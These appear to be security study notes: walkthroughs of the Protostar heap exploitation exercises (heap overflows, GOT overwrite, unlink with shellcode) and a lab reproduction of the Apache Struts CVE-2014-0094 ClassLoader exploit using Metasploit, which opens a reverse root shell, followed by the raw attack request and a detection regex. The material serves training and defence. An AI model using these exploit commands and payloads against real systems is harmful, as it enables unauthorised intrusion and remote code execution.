# Protostar - Heap


Heap 0

$ cat heap0.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();
}
$ file heap0
heap0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap0
(gdb) disassemble main
(gdb) p winner
$1 = {void (void)} 0x8048464 <winner>
(gdb) b *0x080484f2
(gdb) b *0x080484fd
(gdb) run AAAA
(gdb) x/20xw 0x804a008
0x804a008: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a048: 0x00000000 0x00000011 0x08048478 0x00000000
(gdb) c
(gdb) x/20xw 0x804a008
0x804a008: 0x41414141 0x00000000 0x00000000 0x00000000
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a048: 0x00000000 0x00000011 0x08048478 0x00000000
(gdb) quit
$ ./heap0 `python -c 'from struct import pack; print "A"*(0x804a050-0x804a008) + pack("<I", 0x08048464)'`
data is at 0x804a008, fp is at 0x804a050
level passed

Heap 1

$ cat heap1.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
$ file heap1
heap1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap1
(gdb) disassemble main
(gdb) p winner
$1 = {void (void)} 0x8048494 <winner>
(gdb) x/i 0x80483cc
0x80483cc <puts@plt>: jmp    DWORD PTR ds:0x8049774
(gdb) x/xw 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2
(gdb) b *0x080484ce
(gdb) b *0x080484e8
(gdb) b *0x080484fd
(gdb) b *0x08048517
(gdb) b *0x08048538
(gdb) b *0x08048555
(gdb) b *0x08048561
(gdb) run AAAA BBBB
(gdb) i r eax
eax            0x804a008  134520840
(gdb) c
(gdb) i r eax
eax            0x804a018  134520856
(gdb) c
(gdb) i r eax
eax            0x804a028  134520872
(gdb) c
(gdb) i r eax
eax            0x804a038  13452088
(gdb) c
(gdb) x/16xw 0x804a008
0x804a008:  0x00000001  0x0804a018  0x00000000  0x00000011
0x804a018:  0x00000000  0x00000000  0x00000000  0x00000011
0x804a028:  0x00000002  0x0804a038  0x00000000  0x00000011
0x804a038:  0x00000000  0x00000000  0x00000000  0x00020fc1
(gdb) quit
$ ./heap1 `python -c 'from struct import pack; print "A"*(0x804a02c-0x804a018) + pack("<I", 0x08049774), pack("<I", 0x08048494)'`
and we have a winner @ 1426618179

Heap 2

$ cat heap2.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}
$ file heap2  
heap2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap2
(gdb) disassemble main
(gdb) b *0x08048942
(gdb) run
[ auth = (nil), service = (nil) ]
auth AAAA
(gdb) info proc map
process 1682
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
   0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap2
   0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap2
   0x804c000  0x804d000     0x1000          0           [heap]
  0xb7e96000 0xb7e97000     0x1000          0        
  0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  0xb7fd9000 0xb7fdc000     0x3000          0        
  0xb7fde000 0xb7fe2000     0x4000          0        
  0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
  0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb) x/12xw 0x804c000
0x804c000:  0x00000000  0x00000011  0x41414141  0x0000000a
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) p &auth->name
$1 = (char (*)[32]) 0x804c008
(gdb) p &auth->auth
$2 = (int *) 0x804c028
(gdb) c
[ auth = 0x804c008, service = (nil) ]
serviceAAAABBBBCCCCDDDD
(gdb) x/12xw 0x804c000
0x804c000:  0x00000000  0x00000011  0x41414141  0x0000000a
0x804c010:  0x00000000  0x00000019  0x41414141  0x42424242
0x804c020:  0x43434343  0x44444444  0x0000000a  0x00000fd9
(gdb) x/xw &auth->auth
0x804c028:  0x0000000a
(gdb) c
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!

Heap 3

$ cat heap3.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}
$ file heap3
heap3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap3
(gdb) disassemble main
(gdb) b *0x080488c5
(gdb) p winner
$1 = {void (void)} 0x8048864 
(gdb) run A B C
(gdb) info proc map
process 1784
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
   0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap3
   0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap3
   0x804c000  0x804d000     0x1000          0           [heap]
  0xb7e96000 0xb7e97000     0x1000          0        
  0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  0xb7fd9000 0xb7fdc000     0x3000          0        
  0xb7fe0000 0xb7fe2000     0x2000          0        
  0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
  0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb) x/i 0x8048790
0x8048790 <puts@plt>: jmp    DWORD PTR ds:0x804b128
(gdb) x/xw 0x804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x08048796
(gdb) x/32xw 0x804c000
0x804c000:  0x00000000  0x00000029  0x00000000  0x00000000 shellcode = [push @winner; ret]
0x804c010:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000029 [-4] [-4]
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000 [BBBB] [@got_puts - 12] [@shellcode]
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c050:  0x00000000  0x00000029  0x00000000  0x00000000
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000f89
(gdb) quit
$ ./heap3 `python -c 'from struct import pack; print "A"*4 + "\x68\x64\x88\x04\x08\xc3" + "A"*22 + pack("<I", 0xfffffffc)*2, "B"*4 + pack("<I", 0x0804b128-12) + pack("<I", 0x804c00c), "C"'`
that wasn't too bad now, was it? @ 1426954122

Reference

https://exploit-exercises.com/protostar/

# CVE-2014-0094: Apache Struts ClassLoader manipulation RCE


Testbed

# wget http://mirrors.ibiblio.org/apache/tomcat/tomcat-8/v8.0.18/bin/apache-tomcat-8.0.18.tar.gz
# tar xvzf apache-tomcat-8.0.18.tar.gz
# mv apache-tomcat-8.0.18 /opt/tomcat
# cat /etc/environment
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64
export CATALINA_HOME=/opt/tomcat
# source /etc/environment
# grep -v -E "^(<\!| |-|$)" /opt/tomcat/conf/tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
# $CATALINA_HOME/bin/startup.sh
Using CATALINA_BASE:   /opt/tomcat
Using CATALINA_HOME:   /opt/tomcat
Using CATALINA_TMPDIR: /opt/tomcat/temp
Using JRE_HOME:        /usr/lib/jvm/java-7-openjdk-amd64
Using CLASSPATH:       /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar
Tomcat started.
# wget http://archive.apache.org/dist/struts/binaries/struts-2.3.16-all.zip
# unzip struts-2.3.16-all.zip
# find struts-2.3.16 | grep '\.war'
struts-2.3.16/apps/struts2-portlet.war
struts-2.3.16/apps/struts2-blank.war
struts-2.3.16/apps/struts2-rest-showcase.war
struts-2.3.16/apps/struts2-mailreader.war
struts-2.3.16/apps/struts2-showcase.war
# ! From http://10.0.0.2:8080/manager/html deploy struts2-blank.war
# tail -f /opt/tomcat/logs/*

Exploitation

msf > search cve-2014-0094

Matching Modules
================

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   exploit/multi/http/struts_code_exec_classloader  2014-03-06       manual  Apache Struts ClassLoader Manipulation Remote Code Execution

msf > use exploit/multi/http/struts_code_exec_classloader
msf exploit(struts_code_exec_classloader) > set rhost 10.0.0.2
msf exploit(struts_code_exec_classloader) > set lhost 10.0.0.1
msf exploit(struts_code_exec_classloader) > set target 0
msf exploit(struts_code_exec_classloader) > show options

Module options (exploit/multi/http/struts_code_exec_classloader):

   Name            Current Setting                           Required  Description
   ----            ---------------                           --------  -----------
   Proxies                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST           10.0.0.2                                  yes       The target address
   RPORT           8080                                      yes       The target port
   SMB_DELAY       10                                        yes       Time that the SMB Server will wait for the payload request
   SRVHOST         0.0.0.0                                   yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         445                                       yes       The local port to listen on.
   STRUTS_VERSION  2.x                                       yes       Apache Struts Framework version (accepted: 1.x, 2.x)
   TARGETURI       /struts2-blank/example/HelloWorld.action  yes       The path to a struts application action
   VHOST                                                     no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.0.1         yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java

msf exploit(struts_code_exec_classloader) > exploit

[*] Started reverse handler on 10.0.0.1:4444 
[*] 10.0.0.2:8080 - Modifying Class Loader...
[*] 10.0.0.2:8080 - Waiting for the server to flush the logfile
[+] 10.0.0.2:8080 - Log file flushed at http://10.0.0.2:8080/vi8294.jsp
[!] This exploit requires manual cleanup of 'vi8294.jsp' on the target
[*] 10.0.0.2:8080 - Generating JSP...
[*] 10.0.0.2:8080 - Dumping JSP into the logfile...
[*] 10.0.0.2:8080 - Waiting for the server to flush the logfile
[+] 10.0.0.2:8080 - Log file flushed at http://10.0.0.2:8080/vi8294.jsp
[*] Command shell session 2 opened (10.0.0.1:4444 -> 10.0.0.2:5555)

whoami
root

Defense: payload and signature

GET /struts2-blank/example/HelloWorld.action?
class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT&
class['classLoader'].resources.context.parent.pipeline.first.prefix=0Ucn&
class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp&
class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=4 HTTP/1.1

Signature name = Apache Struts ClassLoader manipulation
part = "class", rgxp = "(.*\.|^|.*|\[('|\"))(c|C)lass(\.|('|\")\]|\[).*"
Search in : Parameters
Protocols : http, https

References

http://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts
http://www.rapid7.com/db/modules/exploit/multi/http/struts_code_exec_classloader